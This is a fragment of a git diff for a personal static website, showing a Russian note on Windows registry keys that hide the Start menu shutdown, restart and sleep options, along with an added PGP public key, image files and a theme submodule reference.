В ветке реестра выставить значение value на 1.
```
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep
# regedit
```

40
static/0x952C15AB751A65F6 Normal file
View File

@ -0,0 +1,40 @@
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGH5NL8BDADlsSXJjXi0AM+5piU4spdtP1e1GtQY8t9ISPG9VbaF/dMFSE5V
rarO86Pkd0aVcSDLo12KW1kO+uB067nfrYr+RNmNKahK/PQy7xyoCCMXjqsVqssC
5lYhWVofYNZcNPt06Gv6pLCw5I2qdK+U2k+GnYtEn5iNcfyeDbuTcavYTxHe72SX
35Irzwck7g+5K9Vhz8f/EIWFH7/v+fQb9rSes9rsk7S2gWz+eEqOlrVK5x+TqI76
1446lvFR6kpY2nSasc6OQ9dGzouPu4IkRiRkZGJkn8DqelDoxL3dV6Dwyeyh3QVy
iA15/AwAWngDXur7+txoteBAJtCAXsnQSG24zk9ILclFJS7VXH0fngB2Lpl8pI1A
DO3/grLpAzXw8e2NyJb93AUtqWVzS8dk4TmAT+cRqCfA6yS/z4ofpMGya6pfRkqD
HlkjeapHLtq1Au98O0hPyASt/xjhbz69SIoYpZJxVxdOeg5YSFdttrNZ3J2yPSvd
p8ZOl6HC5s29Sr0AEQEAAbQaTWl0Y2ggQ29ubmVyIDxpbUBmcnV3Lm9yZz6JAbAE
EwEKABoECwkIBwIVCgIWAQIZAQWCYfk0vwKeAQKbAwAKCRCVLBWrdRpl9niADACx
ZBJRvGhkGAMMi7zbh+7TEwhAsjxrORMtycIvPsla10uaNSHRGZQEk8FsSKg5ot+Q
tWRJQ8g6DMSuG+NoMdeZEYo7ff2gfUD/JopBPk00P3MT0Op+CyADCl/rnEJmeXHe
efAhNQP7bDRNSO2slWy8Ru/zFMN/7qr4Lt720dS75uyXMveEDj6Z83CrJF6Tq7Pq
kOCMZhbSH1Azqjf3W9SgQNYWPqv9en7M0efjps7QvMOIVwtdEYqOr/TMi3G+SWGd
7ER8aghNa7ZGGRUR+fWkH1N5ehWr26joqwc0pKbPW9bQa3A3S6v6pkN6ave3nXPD
zmS93g4L7eGwmw4JDD2zApyZoHjG16YprVlrjR/1ub72IfQ4VeAreixBj9HgSasN
SGrJnUNYLa2MBPW+/1PpNO2gAXWdyiBTJsnuPgPuzJcS3eMcq0o2P4hi7mCHSHHI
OBYrAp8bHbS6PuhJmwgzdM9l2b+SotJRt5YPkbhv4e1urVKek85MjyywzQRwOFW5
AY0EYfk0vwEMALgb6w9QjKJttmutaWcdBCPtaEu07/pXF5/MbjYMFF4bJaWrh/NP
LrLeFbzfKjz5sQ549N7fo3gRHHt0NrC3sK8MT3tVP5LG+FsWQtIhy75YkLQq5Zfk
xWB1G4qtxL/Qb52CgPBRRL2/A1iNrpkhJqSs1B14hEYkvqjCg2uoTX6QVfDuoCeG
TwcHrZwNF10mxNwbDiVgWH683iPvAgmAMPgff9D0bpNmOpw3LI0lZvKxCCiqdcEH
AEF0J+K8Zfx7MSe76Wkbaq6vlwkqARba8y1GuGeMH6nB8P8G6jK/0pHniXg9Absn
ygpUchWlhFIG2Y5LHkXCgnWoK2J0o+xzTENjyt2x4EBPfQ/riMj2VHZdLGKxHg9d
v0Z11XHdinkblRkH8QTgx7drPzu8ZTnjQpfjoMjkz/VGmuUGULsy5n9APK0aE6it
SRij5KJK1mQJsZVZYFmhS4rW/keDjiyyL1Z5Q9wue9aDoDAtkbN2/GshR3G72wG2
WKTz2EURqIf3pwARAQABiQGfBBgBCgAJBYJh+TS/ApsMAAoJEJUsFat1GmX2ZXwL
/3UfFZBkYrMwhAnDR1cabjanoDS1C+sIYLk5br8uKciU1bJ5Y3puuOLfW8lo2BR5
979MYPAbg2XU9pgQ+XiLX75JGK2udgYFhJA6rtI9j31WKS5qv+QXXbJleLkIG21q
A8SRN50ATNIIFn8DmsXijFZPs1kZbqNr8kK++PC5bjilMOOBfBlQxS0jwcg1dZXL
O7Qcx4VUbWluIR2atUl6A9lUP9XxXcfXp6tnDfh9zf3FSt9qldKx0hMq8ZQahccA
yBLm4X2nsSsLSaP8WoMqIuPXzd1X6MsA/Z32Lj0pf9icvDec7Y6cq/ofDD2vkiR0
ilcDUpGsd6qogeCct8nP7QiAn3QzMH+mKVL3/Zr5AYzfCNPh0Hu41IwyC7+riU/p
Y1tsQurQod9Lxk+bIeIpAKRSMp3dFb9blHzjfpNOtdPU8AjaEhqPfZPJilIfO563
q2h75Syt1oXBdx5bW8xSOYLh/oNBygkYPYrFGmyT9w73c9yIn2F4MzvoYTvmk00p
JQ==
=h847
-----END PGP PUBLIC KEY BLOCK-----

BIN
static/favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 198 B

BIN
static/fruworg.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

1
themes/archie Submodule

@ -0,0 +1 @@
Subproject commit 0f3a862fc89e1f4a56e4380b9f27b7b71f964a34